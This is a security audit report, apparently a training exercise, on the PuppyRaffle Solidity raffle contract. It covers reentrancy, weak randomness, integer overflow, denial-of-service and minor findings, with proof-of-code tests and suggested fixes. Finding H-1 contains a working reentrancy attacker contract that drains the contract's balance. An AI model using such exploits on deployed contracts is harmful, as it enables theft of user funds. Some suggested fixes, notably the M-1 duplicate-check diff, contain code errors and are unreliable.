



# **Puppy Raffle Audit Report**

Version 1.0

*Juan Sebastian Citro*

March 1, 2025

# Puppy Raffle Audit Report

Juan

March 1, 2025

Prepared by: Juan

Lead Security Researcher:

- Juan Sebastian Citro

## Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
  - Scope
  - Roles
- Executive Summary
  - Issues found
- Findings
- High
  - [H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain contract balance
  - [H-2] Weak randomness in `PuppyRaffle::selectWinner` allows anyone to choose winner

- [H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees
- Medium
  - [M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential DoS vector, incrementing gas costs for future entrants
  - [M-2] Balance check on `PuppyRaffle::withdrawFees` enables griefers to selfdestruct a contract to send ETH to the raffle, blocking withdrawals
  - [M-3] Unsafe cast of `PuppyRaffle::fee` loses fees
  - [M-4] Smart Contract wallet raffle winners without a `receive` or a `fallback` will block the start of a new contest
- Low
  - [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle
  - Likelihood & Impact:
- Informational
  - [I-1] Floating pragmas
  - [I-2] Magic Numbers
  - [I-3] Test Coverage
  - [I-4] Zero address validation
  - [I-5] `_isActivePlayer` is never used and should be removed
  - [I-6] Unchanged variables should be constant or immutable
  - [I-7] Potentially erroneous active player index
  - [I-8] Zero address may be erroneously considered an active player
- Gas
  - [G-1] Unchanged state variables should be declared constant or immutable
  - [G-2] Storage variables in a loop should be cached

## Protocol Summary

Puppy Raffle is an activity in which users buy tickets, and then the smart contract randomly selects a winner and win a puppy NFT. Users can enter the Puppy Raffle with a team or a single-player, and can enter multiple times. Duplicate address are not allowed. Users can get refund of their ticket & value, if they want to refund. Sometimes, the raffle will be able to draw a winner and be minted a random

puppy NFT. The owner of the protocol will take a cut of the value, and the rest of the funds will be sent to the winner of the puppy.

## Disclaimer

The Juan team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

## Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

## Audit Details

The findings described in this document correspond the following commit hash:

```
1 2a47715b30cf11ca82db148704e67652ad679cd8
```

## Scope

```
1 ./src/  
2 #-- PuppyRaffle.sol
```

## Roles

- Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function.
- Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

## Executive Summary

this protocol already has a great idea about making a Puppy Raffle to win a puppy NFT with different rarity. But there are a lot of codes that need to be fixed. We spent 2 hours to audit this protocol.

## Issues found

Severity	Number of issues found
High	3
Medium	4
Low	1
Gas	2
Info	8
Total	18

## Findings

### High

#### [H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain contract balance

**Description:** The `PuppyRaffle::refund` function does not follow CEI/FREI-PI and as a result, enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address, and only after making that external call, we update the `players` array.

```
1 function refund(uint256 playerIndex) public {
2     address playerAddress = players[playerIndex];
3     require(playerAddress == msg.sender, "PuppyRaffle: Only the player
    can refund");
4     require(playerAddress != address(0), "PuppyRaffle: Player already
    refunded, or is not active");
5
6     @> payable(msg.sender).sendValue(entranceFee);
7
8     @> players[playerIndex] = address(0);
9     emit RaffleRefunded(playerAddress);
10 }
```

A player who has entered the raffle could have a `fallback/receive` function that calls the `PuppyRaffle::refund` function again and claim another refund. They could continue to cycle this until the contract balance is drained.

**Impact:** All fees paid by raffle entrants could be stolen by the malicious participant.

**Proof of Concept:**

1. Users enters the raffle.
2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund`.
3. Attacker enters the raffle
4. Attacker calls `PuppyRaffle::refund` from their contract, draining the contract balance.

**Proof of Code:**

Code

Add the following code to the `PuppyRaffleTest.t.sol` file.

```
1 contract ReentrancyAttacker {
2     PuppyRaffle puppyRaffle;
3     uint256 entranceFee;
4     uint256 attackerIndex;
5
6     constructor(address _puppyRaffle) {
7         puppyRaffle = PuppyRaffle(_puppyRaffle);
8         entranceFee = puppyRaffle.entranceFee();
9     }
10
11     function attack() external payable {
12         address[] memory players = new address[](1);
13         players[0] = address(this);
14         puppyRaffle.enterRaffle{value: entranceFee}(players);
15         attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
16         ;
17         puppyRaffle.refund(attackerIndex);
18     }
19 }
```

```
17     }
18
19     fallback() external payable {
20         if (address(puppyRaffle).balance >= entranceFee) {
21             puppyRaffle.refund(attackerIndex);
22         }
23     }
24 }
25
26 function testReentrance() public playersEntered {
27     ReentrancyAttacker attacker = new ReentrancyAttacker(address(
28         puppyRaffle));
29     vm.deal(address(attacker), 1e18);
30     uint256 startingAttackerBalance = address(attacker).balance;
31     uint256 startingContractBalance = address(puppyRaffle).balance;
32
33     attacker.attack();
34
35     uint256 endingAttackerBalance = address(attacker).balance;
36     uint256 endingContractBalance = address(puppyRaffle).balance;
37     assertEq(endingAttackerBalance, startingAttackerBalance +
38         startingContractBalance);
39     assertEq(endingContractBalance, 0);
40 }
```

**Recommended Mitigation:** To fix this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally, we should move the event emission up as well.

```
1     function refund(uint256 playerIndex) public {
2         address playerAddress = players[playerIndex];
3         require(playerAddress == msg.sender, "PuppyRaffle: Only the
4             player can refund");
5         require(playerAddress != address(0), "PuppyRaffle: Player
6             already refunded, or is not active");
7         + players[playerIndex] = address(0);
8         + emit RaffleRefunded(playerAddress);
9         (bool success,) = msg.sender.call{value: entranceFee}("");
10        require(success, "PuppyRaffle: Failed to refund player");
11        - players[playerIndex] = address(0);
12        - emit RaffleRefunded(playerAddress);
13    }
```

## [H-2] Weak randomness in `PuppyRaffle::selectWinner` allows anyone to choose winner

**Description:** Hashing `msg.sender`, `block.timestamp`, `block.difficulty` together creates a predictable final number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

**Impact:** Any user can choose the winner of the raffle, winning the money and selecting the “rarest” puppy, essentially making it such that all puppies have the same rarity, since you can choose the puppy.

**Proof of Concept:**

There are a few attack vectors here.

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that knowledge to predict when / how to participate. See the solidity blog on prevrando here. `block.difficulty` was recently replaced with `prevrandao`.
2. Users can manipulate the `msg.sender` value to result in their index being the winner.

Using on-chain values as a randomness seed is a well-known attack vector in the blockchain space.

**Recommended Mitigation:** Consider using an oracle for your randomness like Chainlink VRF.

### [H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

**Description:** In Solidity versions prior to 0.8.0, integers were subject to integer overflows.

```
1 uint64 myVar = type(uint64).max;
2 // myVar will be 18446744073709551615
3 myVar = myVar + 1;
4 // myVar will be 0
```

**Impact:** In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

**Proof of Concept:**

1. We first conclude a raffle of 4 players to collect some fees.
2. We then have 89 additional players enter a new raffle, and we conclude that raffle as well.
3. `totalFees` will be:

```
1 totalFees = totalFees + uint64(fee);
2 // substituted
3 totalFees = 8000000000000000000 + 17800000000000000000;
4 // due to overflow, the following is now the case
5 totalFees = 153255926290448384;
```

4. You will now not be able to withdraw, due to this line in `PuppyRaffle::withdrawFees`:

```
1 require(address(this).balance == uint256(totalFees), "PuppyRaffle:
   There are currently players active!");
```



Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not what the protocol is intended to do.

### Proof Of Code

Place this into the `PuppyRaffleTest.t.sol` file.

```
1 function testTotalFeesOverflow() public playersEntered {
2     // We finish a raffle of 4 to collect some fees
3     vm.warp(block.timestamp + duration + 1);
4     vm.roll(block.number + 1);
5     puppyRaffle.selectWinner();
6     uint256 startingTotalFees = puppyRaffle.totalFees();
7     // startingTotalFees = 8000000000000000000
8
9     // We then have 89 players enter a new raffle
10    uint256 playersNum = 89;
11    address[] memory players = new address[](playersNum);
12    for (uint256 i = 0; i < playersNum; i++) {
13        players[i] = address(i);
14    }
15    puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
16        players);
17    // We end the raffle
18    vm.warp(block.timestamp + duration + 1);
19    vm.roll(block.number + 1);
20
21    // And here is where the issue occurs
22    // We will now have fewer fees even though we just finished a
23    // second raffle
24    puppyRaffle.selectWinner();
25
26    uint256 endingTotalFees = puppyRaffle.totalFees();
27    console.log("ending total fees", endingTotalFees);
28    assert(endingTotalFees < startingTotalFees);
29
30    // We are also unable to withdraw any fees because of the
31    // require check
32    vm.prank(puppyRaffle.feeAddress());
33    vm.expectRevert("PuppyRaffle: There are currently players
34        active!");
35    puppyRaffle.withdrawFees();
36 }
```

**Recommended Mitigation:** There are a few recommended mitigations here.

1. Use a newer version of Solidity that does not allow integer overflows by default.

```
1 - pragma solidity ^0.7.6;
2 + pragma solidity ^0.8.18;
```

Alternatively, if you want to use an older version of Solidity, you can use a library like OpenZeppelin's [SafeMath](#) to prevent integer overflows.

2. Use a `uint256` instead of a `uint64` for `totalFees`.

```
1 - uint64 public totalFees = 0;  
2 + uint256 public totalFees = 0;
```

3. Remove the balance check in `PuppyRaffle::withdrawFees`

```
1 - require(address(this).balance == uint256(totalFees), "PuppyRaffle:  
    There are currently players active!");
```

We additionally want to bring your attention to another attack vector as a result of this line in a future finding.

## Medium

### [M-1] Looping through `players` array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential DoS vector, incrementing gas costs for future entrants

**Description:** The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle:players` array is, the more checks a new player will have to make. This means that the gas costs for players who enter right when the raffle starts will be dramatically lower than those who enter later. Every additional address in the `players` array, is an additional check the loop will have to make.

**Note to students:** This next line would likely be it's own finding itself. However, we haven't taught you about MEV yet, so we are going to ignore it. Additionally, this increased gas cost creates front-running opportunities where malicious users can front-run another raffle entrant's transaction, increasing its costs, so their enter transaction fails.

**Impact:** The impact is two-fold.

1. The gas costs for raffle entrants will greatly increase as more players enter the raffle.
2. Front-running opportunities are created for malicious users to increase the gas costs of other users, so their transaction fails.

#### Proof of Concept:

If we have 2 sets of 100 players enter, the gas costs will be as such:

- 1st 100 players: 6252039

- 2nd 100 players: 18067741

This is more than 3x as expensive for the second set of 100 players!

This is due to the for loop in the `PuppyRaffle::enterRaffle` function.

```
1 // Check for duplicates
2 @> for (uint256 i = 0; i < players.length - 1; i++) {
3     for (uint256 j = i + 1; j < players.length; j++) {
4         require(players[i] != players[j], "PuppyRaffle:
5             Duplicate player");
6     }
7 }
```

### Proof Of Code

Place the following test into `PuppyRaffleTest.t.sol`.

```
1 function testReadDuplicateGasCosts() public {
2     vm.txGasPrice(1);
3
4     // We will enter 5 players into the raffle
5     uint256 playersNum = 100;
6     address[] memory players = new address[](playersNum);
7     for (uint256 i = 0; i < playersNum; i++) {
8         players[i] = address(i);
9     }
10    // And see how much gas it cost to enter
11    uint256 gasStart = gasleft();
12    puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
13        players);
14    uint256 gasEnd = gasleft();
15    uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
16    console.log("Gas cost of the 1st 100 players:", gasUsedFirst);
17
18    // We will enter 5 more players into the raffle
19    for (uint256 i = 0; i < playersNum; i++) {
20        players[i] = address(i + playersNum);
21    }
22    // And see how much more expensive it is
23    gasStart = gasleft();
24    puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
25        players);
26    gasEnd = gasleft();
27    uint256 gasUsedSecond = (gasStart - gasEnd) * tx.gasprice;
28    console.log("Gas cost of the 2nd 100 players:", gasUsedSecond);
29
30    assert(gasUsedFirst < gasUsedSecond);
31    // Logs:
32    // Gas cost of the 1st 100 players: 6252039
33    // Gas cost of the 2nd 100 players: 18067741
34 }
```

**Recommended Mitigation:** There are a few recommended mitigations.

1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.
2. Consider using a mapping to check duplicates. This would allow you to check for duplicates in constant time, rather than linear time. You could have each raffle have a `uint256` id, and the mapping would be a player address mapped to the raffle id.

```
1 + mapping(address => uint256) public addressToRaffleId;
2 + uint256 public raffleId = 0;
3 +
4 +
5 +
6 function enterRaffle(address[] memory newPlayers) public payable {
7     require(msg.value == entranceFee * newPlayers.length, "
8         PuppyRaffle: Must send enough to enter raffle");
9     for (uint256 i = 0; i < newPlayers.length; i++) {
10        players.push(newPlayers[i]);
11        addressToRaffleId[newPlayers[i]] = raffleId;
12    }
13    // Check for duplicates
14    // Check for duplicates only from the new players
15    for (uint256 i = 0; i < newPlayers.length; i++) {
16        require(addressToRaffleId[newPlayers[i]] != raffleId, "
17            PuppyRaffle: Duplicate player");
18    }
19    for (uint256 i = 0; i < players.length; i++) {
20        for (uint256 j = i + 1; j < players.length; j++) {
21            require(players[i] != players[j], "PuppyRaffle:
22                Duplicate player");
23        }
24    }
25    emit RaffleEnter(newPlayers);
26    }
27    }
28    function selectWinner() external {
29        raffleId = raffleId + 1;
30        require(block.timestamp >= raffleStartTime + raffleDuration, "
31            PuppyRaffle: Raffle not over");
```

Alternatively, you could use OpenZeppelin's `EnumerableSet` library.

**[M-2] Balance check on `PuppyRaffle::withdrawFees` enables griefers to selfdestruct a contract to send ETH to the raffle, blocking withdrawals**

**Description:** The `PuppyRaffle::withdrawFees` function checks the `totalFees` equals the ETH balance of the contract (`address(this).balance`). Since this contract doesn't have a `payable` fallback or `receive` function, you'd think this wouldn't be possible, but a user could `selfdestruct` a contract with ETH in it and force funds to the `PuppyRaffle` contract, breaking this check.

```
1     function withdrawFees() external {
2   @>     require(address(this).balance == uint256(totalFees), "
    PuppyRaffle: There are currently players active!");
3         uint256 feesToWithdraw = totalFees;
4         totalFees = 0;
5         (bool success,) = feeAddress.call{value: feesToWithdraw}("");
6         require(success, "PuppyRaffle: Failed to withdraw fees");
7     }
```

**Impact:** This would prevent the `feeAddress` from withdrawing fees. A malicious user could see a `withdrawFee` transaction in the mempool, front-run it, and block the withdrawal by sending fees.

**Proof of Concept:**

1. `PuppyRaffle` has 800 wei in its balance, and 800 `totalFees`.
2. Malicious user sends 1 wei via a `selfdestruct`
3. `feeAddress` is no longer able to withdraw funds

**Recommended Mitigation:** Remove the balance check on the `PuppyRaffle::withdrawFees` function.

```
1     function withdrawFees() external {
2   -     require(address(this).balance == uint256(totalFees), "
    PuppyRaffle: There are currently players active!");
3         uint256 feesToWithdraw = totalFees;
4         totalFees = 0;
5         (bool success,) = feeAddress.call{value: feesToWithdraw}("");
6         require(success, "PuppyRaffle: Failed to withdraw fees");
7     }
```

**[M-3] Unsafe cast of `PuppyRaffle::fee` loses fees**

**Description:** In `PuppyRaffle::selectWinner` there is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
1     function selectWinner() external {
2         require(block.timestamp >= raffleStartTime + raffleDuration, "
           PuppyRaffle: Raffle not over");
3         require(players.length > 0, "PuppyRaffle: No players in raffle"
           );
4
5         uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.
           sender, block.timestamp, block.difficulty))) % players.
           length;
6         address winner = players[winnerIndex];
7         uint256 fee = totalFees / 10;
8         uint256 winnings = address(this).balance - fee;
9     @>   totalFees = totalFees + uint64(fee);
10        players = new address[] (0);
11        emit RaffleWinner(winner, winnings);
12    }
```

The max value of a `uint64` is 18446744073709551615. In terms of ETH, this is only ~18 ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

**Impact:** This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

#### Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
1 uint256 max = type(uint64).max
2 uint256 fee = max + 1
3 uint64(fee)
4 // prints 0
```

**Recommended Mitigation:** Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. There is a comment which says:

```
1 // We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
1 -   uint64 public totalFees = 0;
2 +   uint256 public totalFees = 0;
3   .
4   .
5   .
6   function selectWinner() external {
```

```
7         require(block.timestamp >= raffleStartTime + raffleDuration, "
           PuppyRaffle: Raffle not over");
8         require(players.length >= 4, "PuppyRaffle: Need at least 4
           players");
9         uint256 winnerIndex =
10            uint256(keccak256(abi.encodePacked(msg.sender, block.
              timestamp, block.difficulty))) % players.length;
11         address winner = players[winnerIndex];
12         uint256 totalAmountCollected = players.length * entranceFee;
13         uint256 prizePool = (totalAmountCollected * 80) / 100;
14         uint256 fee = (totalAmountCollected * 20) / 100;
15 -         totalFees = totalFees + uint64(fee);
16 +         totalFees = totalFees + fee;
```

#### **[M-4] Smart Contract wallet raffle winners without a receive or a fallback will block the start of a new contest**

**Description:** The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Non-smart contract wallet users could reenter, but it might cost them a lot of gas due to the duplicate check.

**Impact:** The `PuppyRaffle::selectWinner` function could revert many times, and make it very difficult to reset the lottery, preventing a new one from starting.

Also, true winners would not be able to get paid out, and someone else would win their money!

#### **Proof of Concept:**

1. 10 smart contract wallets enter the lottery without a fallback or receive function.
2. The lottery ends
3. The `selectWinner` function wouldn't work, even though the lottery is over!

**Recommended Mitigation:** There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout so winners can pull their funds out themselves, putting the owness on the winner to claim their prize. (Recommended)

Pull over Push

## Low

### [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle

**Description:** If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspec, it will also return 0 if the player is not in the array.

```
1 function getActivePlayerIndex(address player) external view returns (
    uint256) {
2     for (uint256 i = 0; i < players.length; i++) {
3         if (players[i] == player) {
4             return i;
5         }
6     }
7     return 0;
8 }
```

**Impact:** A player at index 0 incorrectly think they have not entered the raffle, and attempt to enter the raffle again, wasting gas.

#### Proof of Concept:

1. User enters the raffle, they are the first entrant
2. `PuppyRaffle::getActivePlayerIndex` returns 0
3. User thinks they have not entered correctly due to the function documentation.

**Recommended Mitigation:** The easiest recommendation would be to revert if the player is not in the array instead of returning 0. You could also reserve the 0th position for any competition, but a better solution might be to return an `int256` where the function returns -1 if the player is not active.

#### Likelihood & Impact:

- Impact: LOW/MEDIUM
- Likelihood: HIGH/LOW
- Severity: LOW



## Informational

### [I-1] Floating pragmas

**Description:** Contracts should use strict versions of solidity. Locking the version ensures that contracts are not deployed with a different version of solidity than they were tested with. An incorrect version could lead to unintended results.

<https://swcregistry.io/docs/SWC-103/>

**Recommended Mitigation:** Lock up pragma versions.

```
1 - pragma solidity ^0.7.6;  
2 + pragma solidity 0.7.6;
```

### [I-2] Magic Numbers

**Description:** All number literals should be replaced with constants. This makes the code more readable and easier to maintain. Numbers without context are called “magic numbers”.

**Recommended Mitigation:** Replace all magic numbers with constants.

```
1 +      uint256 public constant PRIZE_POOL_PERCENTAGE = 80;  
2 +      uint256 public constant FEE_PERCENTAGE = 20;  
3 +      uint256 public constant TOTAL_PERCENTAGE = 100;  
4 .  
5 .  
6 .  
7 -      uint256 prizePool = (totalAmountCollected * 80) / 100;  
8 -      uint256 fee = (totalAmountCollected * 20) / 100;  
9      uint256 prizePool = (totalAmountCollected *  
      PRIZE_POOL_PERCENTAGE) / TOTAL_PERCENTAGE;  
10     uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) /  
      TOTAL_PERCENTAGE;
```

### [I-3] Test Coverage

**Description:** The test coverage of the tests are below 90%. This often means that there are parts of the code that are not tested.

File	% Lines	% Statements	% Branches	% Funcs
script/DeployPuppyRaffle.sol	0.00% (0/3)	0.00% (0/4)	100.00% (0/0)	0.00% (0/1)

File	% Lines	% Statements	% Branches	% Funcs
src/PuppyRaffle.sol	82.46% (47/57)	83.75% (67/80)	66.67% (20/30)	77.78% (7/9)
test/auditTests/ProofOfCodes.t.sol	100.00% (7/7)	100.00% (8/8)	50.00% (1/2)	100.00% (2/2)
Total	80.60% (54/67)	81.52% (75/92)	65.62% (21/32)	75.00% (9/12)

**Recommended Mitigation:** Increase test coverage to 90% or higher, especially for the [Branches](#) column.

#### [I-4] Zero address validation

**Description:** The [PuppyRaffle](#) contract does not validate that the [feeAddress](#) is not the zero address. This means that the [feeAddress](#) could be set to the zero address, and fees would be lost.

```
1 PuppyRaffle.constructor(uint256,address,uint256)._feeAddress (src/  
  PuppyRaffle.sol#57) lacks a zero-check on :  
2     - feeAddress = _feeAddress (src/PuppyRaffle.sol#59)  
3 PuppyRaffle.changeFeeAddress(address).newFeeAddress (src/PuppyRaffle.  
  sol#165) lacks a zero-check on :  
4     - feeAddress = newFeeAddress (src/PuppyRaffle.sol#166)
```

**Recommended Mitigation:** Add a zero address check whenever the [feeAddress](#) is updated.

#### [I-5] \_isActivePlayer is never used and should be removed

**Description:** The function [PuppyRaffle::\\_isActivePlayer](#) is never used and should be removed.

```
1 - function _isActivePlayer() internal view returns (bool) {  
2 -     for (uint256 i = 0; i < players.length; i++) {  
3 -         if (players[i] == msg.sender) {  
4 -             return true;  
5 -         }  
6 -     }  
7 -     return false;  
8 - }
```

### [I-6] Unchanged variables should be constant or immutable

Constant Instances:

```
1 PuppyRaffle.commonImageUri (src/PuppyRaffle.sol#35) should be constant
2 PuppyRaffle.legendaryImageUri (src/PuppyRaffle.sol#45) should be
  constant
3 PuppyRaffle.rareImageUri (src/PuppyRaffle.sol#40) should be constant
```

Immutable Instances:

```
1 PuppyRaffle.raffleDuration (src/PuppyRaffle.sol#21) should be immutable
```

### [I-7] Potentially erroneous active player index

**Description:** The `getActivePlayerIndex` function is intended to return zero when the given address is not active. However, it could also return zero for an active address stored in the first slot of the `players` array. This may cause confusions for users querying the function to obtain the index of an active player.

**Recommended Mitigation:** Return  $2^{256}-1$  (or any other sufficiently high number) to signal that the given player is inactive, so as to avoid collision with indices of active players.

### [I-8] Zero address may be erroneously considered an active player

**Description:** The `refund` function removes active players from the `players` array by setting the corresponding slots to zero. This is confirmed by its documentation, stating that “This function will allow there to be blank spots in the array”. However, this is not taken into account by the `getActivePlayerIndex` function. If someone calls `getActivePlayerIndex` passing the zero address after there’s been a refund, the function will consider the zero address an active player, and return its index in the `players` array.

**Recommended Mitigation:** Skip zero addresses when iterating the `players` array in the `getActivePlayerIndex`. Do note that this change would mean that the zero address can *never* be an active player. Therefore, it would be best if you also prevented the zero address from being registered as a valid player in the `enterRaffle` function.

## Gas

### [G-1] Unchanged state variables should be declared constant or immutable

**Description:** Reading from storage is much more expensive than reading from a constant or immutable variable.

**Impact:** Used more gas.

**Proof of Concept:**

1 Found Instances

```
1 uint256 public raffleDuration;
2 .
3 .
4 string private commonImageUri
5 .
6 .
7 string private rareImageUri
8 .
9 .
10 string private legendaryImageUri
```

**Recommended Mitigation:**

- `PuppyRaffle::raffleDuration` should be `immutable` to keep the gas efficient.
- `PuppyRaffle::commonImageUri` should be `constant` to keep the gas efficient.
- `PuppyRaffle::rareImageUri` should be `constant` to keep the gas efficient.
- `PuppyRaffle::legendaryImageUri` should be `constant` to keep the gas efficient.

### [G-2] Storage variables in a loop should be cached

**Description:** Everytime you call `players.length` you read from storage.

**Impact:** reading from storage will increase the gas fees.

**Proof of Concept:**

```
1     for (uint256 i = 0; i < players.length - 1; i++) {
2         for (uint256 j = i + 1; j < players.length; j++) {
3             require(players[i] != players[j], "PuppyRaffle: Duplicate
4                 player");
5         }
6     }
```

**Recommended Mitigation:** Use a local memory variable, which is more gas efficient.

```
1 + uint256 playersLength = player.length;
2 - for (uint256 i = 0; i < players.length - 1; i++) {
3 + for (uint256 i = 0; i < playersLength - 1; i++) {
4 -     for (uint256 j = i + 1; j < players.length; j++) {
5 +     for (uint256 j = i + 1; j < playersLength; j++) {
6         require(players[i] != players[j], "PuppyRaffle: Duplicate
           player");
7     }
8 }
```